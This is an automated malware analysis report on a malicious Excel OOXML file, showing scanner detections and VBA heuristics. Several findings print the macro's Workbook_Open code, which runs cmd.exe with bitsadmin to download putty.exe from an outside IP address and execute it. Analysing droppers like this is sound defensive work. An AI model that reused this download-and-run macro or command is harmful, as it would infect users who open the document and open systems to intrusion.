Malicious Office (OOXML) — malware analysis report

Heuristics 8

• ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
• VBA project inside OOXML medium 5 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• Potential Shell call in VBA critical OLE_VBA_SHELL
  Potential Shell call in VBA
  Matched line in script

      Program = "C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\windows\system32\cmd.exe /c bitsadmin /transfer /download /priority high http://176.36.138.35/putty.exe %temp%\\putty.exe>nul & start %temp%\\putty.exe"
      TaskID = Shell(Program, 1)
      If Err <> 0 Then

• LOLBin reference in VBA critical OLE_VBA_LOLBIN
  LOLBin reference in VBA
  Matched line in script

      On Error Resume Next
      Program = "C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\windows\system32\cmd.exe /c bitsadmin /transfer /download /priority high http://176.36.138.35/putty.exe %temp%\\putty.exe>nul & start %temp%\\putty.exe"
      TaskID = Shell(Program, 1)

• VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
  The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
  Matched line in script

  Private Sub Workbook_Open()
      Dim Program As String

• cmd.exe reference in VBA high OLE_VBA_CMD
  cmd.exe reference in VBA
  Matched line in script

      On Error Resume Next
      Program = "C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\windows\system32\cmd.exe /c bitsadmin /transfer /download /priority high http://176.36.138.35/putty.exe %temp%\\putty.exe>nul & start %temp%\\putty.exe"
      TaskID = Shell(Program, 1)

• Workbook_Open macro low OLE_VBA_WBOPEN
  Workbook_Open macro
  Matched line in script

  Private Sub Workbook_Open()
      Dim Program As String

• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://176.36.138.35/putty.exe In document text (OOXML body / shared strings)

Open this report in the interactive analyzer, or submit your own file for analysis.